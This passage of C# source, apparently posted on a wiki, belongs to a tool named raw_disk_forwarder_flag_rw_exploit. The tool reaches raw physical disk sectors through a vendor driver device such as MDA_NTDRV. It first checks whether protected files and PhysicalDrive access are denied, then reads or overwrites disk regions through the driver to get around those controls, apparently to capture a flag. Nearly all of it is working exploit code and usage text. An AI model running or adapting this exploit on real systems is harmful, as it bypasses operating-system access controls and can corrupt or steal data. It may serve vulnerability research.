                throw new InvalidOperationException("ReadFile through vendor device failed: "
+ Marshal.GetLastWin32Error());
            }
            byte[] data = new byte[length];
            Marshal.Copy(buf, data, 0, length);
            return data;
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }

    private static void RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
    {
```

```
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " +
Marshal.GetLastWin32Error());
        }

        IntPtr buf = Marshal.AllocHGlobal(payload.Length);
        try
        {
            Marshal.Copy(payload, 0, buf, payload.Length);
            int wrote;
            if (!WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero) || wrote !=
payload.Length)
            {
                throw new InvalidOperationException("WriteFile through vendor device failed or
short write: " + Marshal.GetLastWin32Error());
            }
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }

    private static void BaselineProtectedFile(string path)
    {
        try
        {
            File.ReadAllBytes(path);
            Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
        }
        catch (Exception ex)
        {
            Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path,
ex.Message);
        }

        try
        {
            File.WriteAllText(path, "SHOULD-NOT-WRITE");
```

```
            Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
        }
        catch (Exception ex)
        {
            Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path,
ex.Message);
        }
    }

    private static void BaselineRawDisk(uint disk)
    {
        string path = @"\\.\" + "PhysicalDrive" + disk;
        using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
        {
            if (h.IsInvalid)
            {
                Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path,
Marshal.GetLastWin32Error());
            }
            else
            {
                Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}",
path);
            }
        }
    }

    private static void PrintIdentity()
    {
        WindowsIdentity id = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(id);
        Console.WriteLine("[IDENTITY] user={0}", id.Name);
        Console.WriteLine("[IDENTITY] is_administrator={0}",
principal.IsInRole(WindowsBuiltInRole.Administrator));
        Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
    }

    private static string GetIntegrityLevel()
    {
```

```
        IntPtr token;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
        try
        {
            int needed;
            GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
            IntPtr buf = Marshal.AllocHGlobal(needed);
            try
            {
                if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed))
return "unknown";
                IntPtr sid = Marshal.ReadIntPtr(buf);
                int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
                int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
                if (rid >= 0x4000) return "System";
                if (rid >= 0x3000) return "High";
                if (rid >= 0x2000) return "Medium";
                if (rid >= 0x1000) return "Low";
                return "Untrusted";
            }
            finally
            {
                Marshal.FreeHGlobal(buf);
            }
        }
        finally
        {
            CloseHandle(token);
        }
    }

    private static byte[] MakePayload(string marker, int length)
    {
        if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is
required.");
        byte[] payload = new byte[length];
        byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
        Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
        for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
        return payload;
```

```
    }

    private static string AsciiPreview(byte[] data, int max)
    {
        int len = Math.Min(data.Length, max);
        return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r",
"\\r").Replace("\n", "\\n");
    }

    private static void ZeroMemory(IntPtr ptr, int length)
    {
        byte[] zeros = new byte[Math.Min(4096, length)];
        int offset = 0;
        while (offset < length)
        {
            int chunk = Math.Min(zeros.Length, length - offset);
            Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
            offset += chunk;
        }
    }

    private static void Usage()
    {
        Console.Error.WriteLine("Usage:");
        Console.Error.WriteLine("  raw_disk_forwarder_flag_rw_exploit.exe --device MDA_NTDRV
--mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --
out OUT.bin");
        Console.Error.WriteLine("  raw_disk_forwarder_flag_rw_exploit.exe --device MDA_NTDRV
--mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
        Console.Error.WriteLine("  --device is the vendor raw-disk forwarder device name, for
example MDA_NTDRV, EPMNTDRV, or EUEDKEPM.");
    }

    private sealed class Options
    {
        public string Device = "MDA_NTDRV";
        public string Mode = "read";
        public uint Disk;
        public ulong OffsetBytes;
        public ulong LengthBytes;
```

```
        public string FlagPath;
        public string ExpectMarker;
        public string WriteMarker;
        public string OutPath;

        public static Options Parse(string[] args)
        {
            Options opt = new Options();
            for (int i = 0; i < args.Length; i++)
            {
                string a = args[i].ToLowerInvariant();
                if (a == "--device" && i + 1 < args.Length) opt.Device = args[++i];
                else if (a == "--mode" && i + 1 < args.Length) opt.Mode =
args[++i].ToLowerInvariant();
                else if (a == "--disk" && i + 1 < args.Length) opt.Disk =
UInt32.Parse(args[++i]);
                else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes =
UInt64.Parse(args[++i]);
                else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes =
UInt64.Parse(args[++i]);
                else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
                else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker =
args[++i];
                else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker =
args[++i];
                else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
                else return null;
            }

            if (opt.Mode != "read" && opt.Mode != "write") return null;
            if (string.IsNullOrWhiteSpace(opt.Device)) return null;
            foreach (char c in opt.Device)
            {
                if (!char.IsLetterOrDigit(c) && c != '_' && c != '-') return null;
            }
            if (opt.LengthBytes == 0) return null;
            if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
            if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
            return opt;
        }
```

```
    }
}
```

Revision #3
Created 2026-05-20 16:58:23 UTC by winslow
Updated 2026-06-20 21:24:07 UTC by winslow